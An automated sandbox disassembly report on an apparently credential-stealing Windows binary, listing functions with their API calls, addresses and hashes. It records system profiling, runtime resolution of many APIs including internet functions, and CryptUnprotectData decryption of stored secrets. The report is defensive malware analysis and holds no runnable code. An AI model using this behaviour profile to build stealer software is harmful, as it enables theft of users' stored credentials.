Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: bae9a5b9b5fabe7d85d532c99d4e87bc2567c4c9c9956183992a00affb4235d9
Instruction ID: bb09f1710a671ff2674323945bb78b642dc68f44c7b03b66a7219ff6bf37a0f9
Opcode Fuzzy Hash: bae9a5b9b5fabe7d85d532c99d4e87bc2567c4c9c9956183992a00affb4235d9
Instruction Fuzzy Hash: 70010C75A00208AFCB25DFA5DD48BEEB7F8EF48300F108288A90A97240DB389B44CF51

Function 00077A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00D7D818,00000000,?,00080E10,00000000,?,00000000,00000000), ref: 00077A63
RtlAllocateHeap.NTDLL(00000000), ref: 00077A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00D7D818,00000000,?,00080E10,00000000,?,00000000,00000000,?), ref: 00077A7D
wsprintfA.USER32 ref: 00077AB7

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 601dc4958c4b4f6da754bde229bf582c90cd99a4842e8b84759dc52df35bdd83
Instruction ID: 7576c62d8f79470f99a06b88a3771c1396d4328210ee0db1f2ca357f1d6ea920
Opcode Fuzzy Hash: 601dc4958c4b4f6da754bde229bf582c90cd99a4842e8b84759dc52df35bdd83
Instruction Fuzzy Hash: F51170B1D45218EFEB208B54DC49F59B7B8FB45711F104696EA0A93280C7785A40CF52

Function 00069B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00069B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00069BA3
LocalFree.KERNEL32(?), ref: 00069BD3

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: a097ab56526bdab76a6afa42822b0f187d93ac90fa2cc54dd7eab91f57bec61c
Instruction ID: 0ac7184e6b52935f7d9e6984e539f37dee282855a864963063843f00fe701183
Opcode Fuzzy Hash: a097ab56526bdab76a6afa42822b0f187d93ac90fa2cc54dd7eab91f57bec61c
Instruction Fuzzy Hash: 1411C9B8A00209EFDB04DF94D989AAEB7F9FF89300F104598E915A7350D774AE10CFA1

Function 00077850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000611B7), ref: 00077880
RtlAllocateHeap.NTDLL(00000000), ref: 00077887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0007789F

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 54bb3d633f5f8e8eac8b8edb4077cd853a63951dd789080e6e1bb7b5da4767e8
Instruction ID: 82bdf831a59facf222aa626dcc2fe80b7463d4b64277cffe471b6640645fecd6
Opcode Fuzzy Hash: 54bb3d633f5f8e8eac8b8edb4077cd853a63951dd789080e6e1bb7b5da4767e8
Instruction Fuzzy Hash: 4FF04FB1D44209EFC710DF98DD49FAEFBB8EB05B11F10025AFA05A2680CB781904CBA2

Function 00061160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0006116A
ExitProcess.KERNEL32 ref: 0006117E

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 620e22518cc333010a08dbe9d5734d70cb5fd8bba6b862bc75088ec1a78a73bc
Instruction ID: 7974c1cbfffed7ab252f7e55f4c953a69b53afef26e7d3e4abd94a3773e13451
Opcode Fuzzy Hash: 620e22518cc333010a08dbe9d5734d70cb5fd8bba6b862bc75088ec1a78a73bc
Instruction Fuzzy Hash: C0D05E7490030CDBCB00DFE0EC4D6EEBB78FB09311F000555D90562340EB305881CAA6

Function 00079C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00D66860), ref: 00079C2D
GetProcAddress.KERNEL32(75900000,00D666A0), ref: 00079C45
GetProcAddress.KERNEL32(75900000,00D78FB8), ref: 00079C5E
GetProcAddress.KERNEL32(75900000,00D78F40), ref: 00079C76
GetProcAddress.KERNEL32(75900000,00D7CA48), ref: 00079C8E
GetProcAddress.KERNEL32(75900000,00D7C940), ref: 00079CA7
GetProcAddress.KERNEL32(75900000,00D6B130), ref: 00079CBF
GetProcAddress.KERNEL32(75900000,00D7C8F8), ref: 00079CD7
GetProcAddress.KERNEL32(75900000,00D7C9E8), ref: 00079CF0
GetProcAddress.KERNEL32(75900000,00D7CA00), ref: 00079D08
GetProcAddress.KERNEL32(75900000,00D7C9D0), ref: 00079D20
GetProcAddress.KERNEL32(75900000,00D66960), ref: 00079D39
GetProcAddress.KERNEL32(75900000,00D66880), ref: 00079D51
GetProcAddress.KERNEL32(75900000,00D668A0), ref: 00079D69
GetProcAddress.KERNEL32(75900000,00D669C0), ref: 00079D82
GetProcAddress.KERNEL32(75900000,00D7C7F0), ref: 00079D9A
GetProcAddress.KERNEL32(75900000,00D7C958), ref: 00079DB2
GetProcAddress.KERNEL32(75900000,00D6AE88), ref: 00079DCB
GetProcAddress.KERNEL32(75900000,00D66780), ref: 00079DE3
GetProcAddress.KERNEL32(75900000,00D7CAD8), ref: 00079DFB
GetProcAddress.KERNEL32(75900000,00D7C9B8), ref: 00079E14
GetProcAddress.KERNEL32(75900000,00D7C850), ref: 00079E2C
GetProcAddress.KERNEL32(75900000,00D7CA90), ref: 00079E44
GetProcAddress.KERNEL32(75900000,00D66A00), ref: 00079E5D
GetProcAddress.KERNEL32(75900000,00D7CAA8), ref: 00079E75
GetProcAddress.KERNEL32(75900000,00D7CA60), ref: 00079E8D
GetProcAddress.KERNEL32(75900000,00D7CA18), ref: 00079EA6
GetProcAddress.KERNEL32(75900000,00D7C988), ref: 00079EBE
GetProcAddress.KERNEL32(75900000,00D7C808), ref: 00079ED6
GetProcAddress.KERNEL32(75900000,00D7CAC0), ref: 00079EEF
GetProcAddress.KERNEL32(75900000,00D7CA30), ref: 00079F07
GetProcAddress.KERNEL32(75900000,00D7C820), ref: 00079F1F
GetProcAddress.KERNEL32(75900000,00D7C898), ref: 00079F38
GetProcAddress.KERNEL32(75900000,00D79978), ref: 00079F50
GetProcAddress.KERNEL32(75900000,00D7C970), ref: 00079F68
GetProcAddress.KERNEL32(75900000,00D7C9A0), ref: 00079F81
GetProcAddress.KERNEL32(75900000,00D66680), ref: 00079F99
GetProcAddress.KERNEL32(75900000,00D7C928), ref: 00079FB1
GetProcAddress.KERNEL32(75900000,00D66720), ref: 00079FCA
GetProcAddress.KERNEL32(75900000,00D7C868), ref: 00079FE2
GetProcAddress.KERNEL32(75900000,00D7C880), ref: 00079FFA
GetProcAddress.KERNEL32(75900000,00D66480), ref: 0007A013
GetProcAddress.KERNEL32(75900000,00D66420), ref: 0007A02B
LoadLibraryA.KERNEL32(00D7CA78,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A03D
LoadLibraryA.KERNEL32(00D7C8B0,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A04E
LoadLibraryA.KERNEL32(00D7C838,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A060
LoadLibraryA.KERNEL32(00D7C910,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A072
LoadLibraryA.KERNEL32(00D7C8C8,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A083
LoadLibraryA.KERNEL32(00D7C8E0,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A095
LoadLibraryA.KERNEL32(00D7CBB0,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A0A7
LoadLibraryA.KERNEL32(00D7CD18,?,00075CA3,00080AEB,?,?,?,?,?,?,?,?,?,?,00080AEA,00080AE3), ref: 0007A0B8
GetProcAddress.KERNEL32(75FD0000,00D66660), ref: 0007A0DA
GetProcAddress.KERNEL32(75FD0000,00D7CB80), ref: 0007A0F2
GetProcAddress.KERNEL32(75FD0000,00D789E0), ref: 0007A10A
GetProcAddress.KERNEL32(75FD0000,00D7CDD8), ref: 0007A123
GetProcAddress.KERNEL32(75FD0000,00D66440), ref: 0007A13B
GetProcAddress.KERNEL32(734B0000,00D6B090), ref: 0007A160
GetProcAddress.KERNEL32(734B0000,00D664C0), ref: 0007A179
GetProcAddress.KERNEL32(734B0000,00D6B248), ref: 0007A191
GetProcAddress.KERNEL32(734B0000,00D7CD48), ref: 0007A1A9
GetProcAddress.KERNEL32(734B0000,00D7CB20), ref: 0007A1C2
GetProcAddress.KERNEL32(734B0000,00D66640), ref: 0007A1DA
GetProcAddress.KERNEL32(734B0000,00D66280), ref: 0007A1F2
GetProcAddress.KERNEL32(734B0000,00D7CAF0), ref: 0007A20B
GetProcAddress.KERNEL32(763B0000,00D662A0), ref: 0007A22C
GetProcAddress.KERNEL32(763B0000,00D664A0), ref: 0007A244
GetProcAddress.KERNEL32(763B0000,00D7CC10), ref: 0007A25D
GetProcAddress.KERNEL32(763B0000,00D7CB98), ref: 0007A275
GetProcAddress.KERNEL32(763B0000,00D662C0), ref: 0007A28D
GetProcAddress.KERNEL32(750F0000,00D6AFC8), ref: 0007A2B3
GetProcAddress.KERNEL32(750F0000,00D6AFF0), ref: 0007A2CB
GetProcAddress.KERNEL32(750F0000,00D7CCE8), ref: 0007A2E3
GetProcAddress.KERNEL32(750F0000,00D66560), ref: 0007A2FC
GetProcAddress.KERNEL32(750F0000,00D663A0), ref: 0007A314
GetProcAddress.KERNEL32(750F0000,00D6B018), ref: 0007A32C
GetProcAddress.KERNEL32(75A50000,00D7CB08), ref: 0007A352
GetProcAddress.KERNEL32(75A50000,00D66580), ref: 0007A36A
GetProcAddress.KERNEL32(75A50000,00D788E0), ref: 0007A382
GetProcAddress.KERNEL32(75A50000,00D7CB38), ref: 0007A39B
GetProcAddress.KERNEL32(75A50000,00D7CBC8), ref: 0007A3B3
GetProcAddress.KERNEL32(75A50000,00D66300), ref: 0007A3CB
GetProcAddress.KERNEL32(75A50000,00D662E0), ref: 0007A3E4
GetProcAddress.KERNEL32(75A50000,00D7CB68), ref: 0007A3FC
GetProcAddress.KERNEL32(75A50000,00D7CC70), ref: 0007A414
GetProcAddress.KERNEL32(75070000,00D66620), ref: 0007A436
GetProcAddress.KERNEL32(75070000,00D7CD30), ref: 0007A44E
GetProcAddress.KERNEL32(75070000,00D7CCB8), ref: 0007A466
GetProcAddress.KERNEL32(75070000,00D7CD60), ref: 0007A47F
GetProcAddress.KERNEL32(75070000,00D7CC58), ref: 0007A497
GetProcAddress.KERNEL32(74E50000,00D66460), ref: 0007A4B8
GetProcAddress.KERNEL32(74E50000,00D66320), ref: 0007A4D1
GetProcAddress.KERNEL32(75320000,00D663C0), ref: 0007A4F2
GetProcAddress.KERNEL32(75320000,00D7CC88), ref: 0007A50A
GetProcAddress.KERNEL32(6F060000,00D664E0), ref: 0007A530
GetProcAddress.KERNEL32(6F060000,00D66500), ref: 0007A548
GetProcAddress.KERNEL32(6F060000,00D66360), ref: 0007A560
GetProcAddress.KERNEL32(6F060000,00D7CB50), ref: 0007A579
GetProcAddress.KERNEL32(6F060000,00D66340), ref: 0007A591
GetProcAddress.KERNEL32(6F060000,00D66380), ref: 0007A5A9
GetProcAddress.KERNEL32(6F060000,00D663E0), ref: 0007A5C2
GetProcAddress.KERNEL32(6F060000,00D66520), ref: 0007A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0007A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0007A607
GetProcAddress.KERNEL32(74E00000,00D7CD78), ref: 0007A629
GetProcAddress.KERNEL32(74E00000,00D78880), ref: 0007A641
GetProcAddress.KERNEL32(74E00000,00D7CC40), ref: 0007A659
GetProcAddress.KERNEL32(74E00000,00D7CBF8), ref: 0007A672
GetProcAddress.KERNEL32(74DF0000,00D66400), ref: 0007A693
GetProcAddress.KERNEL32(6F9B0000,00D7CCA0), ref: 0007A6B4
GetProcAddress.KERNEL32(6F9B0000,00D66540), ref: 0007A6CD
GetProcAddress.KERNEL32(6F9B0000,00D7CBE0), ref: 0007A6E5
GetProcAddress.KERNEL32(6F9B0000,00D7CD90), ref: 0007A6FD

Strings

HttpQueryInfoA, xrefs: 0007A5FC
InternetSetOptionA, xrefs: 0007A5E5

Memory Dump Source

Source File: 00000000.00000002.2250063389.0000000000061000.00000040.00000001.01000000.00000003.sdmp, Offset: 00060000, based on PE: true

Associated: 00000000.00000002.2250020597.0000000000060000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.00000000000F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000011D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000142000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000014F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000016F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000017E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.0000000000225000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250063389.000000000022B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.00000000002BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000453000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000551000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000558000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250470007.0000000000567000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250783736.0000000000568000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250899332.0000000000709000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2250920422.000000000070A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 82a1450bcf85a5650e57b96348c287d873a23103968ffd6b90d596e19489bb77
Instruction ID: 6def03186a65c2cee2a966f3f97f4f94e931c7449e770d6b068cdb72121fba71
Opcode Fuzzy Hash: 82a1450bcf85a5650e57b96348c287d873a23103968ffd6b90d596e19489bb77
Instruction Fuzzy Hash: 11625EB5501210AFC795DFA8FD8C96AB7F9FF8E701704851AA609C7224DF399841CF22

Function 00067710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00067724
RtlAllocateHeap.NTDLL(00000000), ref: 0006772B
lstrcat.KERNEL32(?,00D794C8), ref: 000678DB
lstrcat.KERNEL32(?,?), ref: 000678EF
lstrcat.KERNEL32(?,?), ref: 00067903
lstrcat.KERNEL32(?,?), ref: 00067917
lstrcat.KERNEL32(?,00D7DC98), ref: 0006792B
lstrcat.KERNEL32(?,00D7DCF8), ref: 0006793F
lstrcat.KERNEL32(?,00D7DDE8), ref: 00067952
lstrcat.KERNEL32(?,00D7DD10), ref: 00067966
lstrcat.KERNEL32(?,00D7DFD8), ref: 0006797A
lstrcat.KERNEL32(?,?), ref: 0006798E
lstrcat.KERNEL32(?,?), ref: 000679A2
lstrcat.KERNEL32(?,?), ref: 000679B6
lstrcat.KERNEL32(?,00D7DC98), ref: 000679C9
lstrcat.KERNEL32(?,00D7DCF8), ref: 000679DD
lstrcat.KERNEL32(?,00D7DDE8), ref: 000679F1
lstrcat.KERNEL32(?,00D7DD10), ref: 00067A04
lstrcat.KERNEL32(?,00D7E040), ref: 00067A18
lstrcat.KERNEL32(?,?), ref: 00067A2C
lstrcat.KERNEL32(?,?), ref: 00067A40
lstrcat.KERNEL32(?,?), ref: 00067A54
lstrcat.KERNEL32(?,00D7DC98), ref: 00067A68
lstrcat.KERNEL32(?,00D7DCF8), ref: 00067A7B
lstrcat.KERNEL32(?,00D7DDE8), ref: 00067A8F
lstrcat.KERNEL32(?,00D7DD10), ref: 00067AA3
lstrcat.KERNEL32(?,00D7E0A8), ref: 00067AB6
lstrcat.KERNEL32(?,?), ref: 00067ACA
lstrcat.KERNEL32(?,?), ref: 00067ADE
lstrcat.KERNEL32(?,?), ref: 00067AF2
lstrcat.KERNEL32(?,00D7DC98), ref: 00067B06
lstrcat.KERNEL32(?,00D7DCF8), ref: 00067B1A
lstrcat.KERNEL32(?,00D7DDE8), ref: 00067B2D
lstrcat.KERNEL32(?,00D7DD10), ref: 00067B41
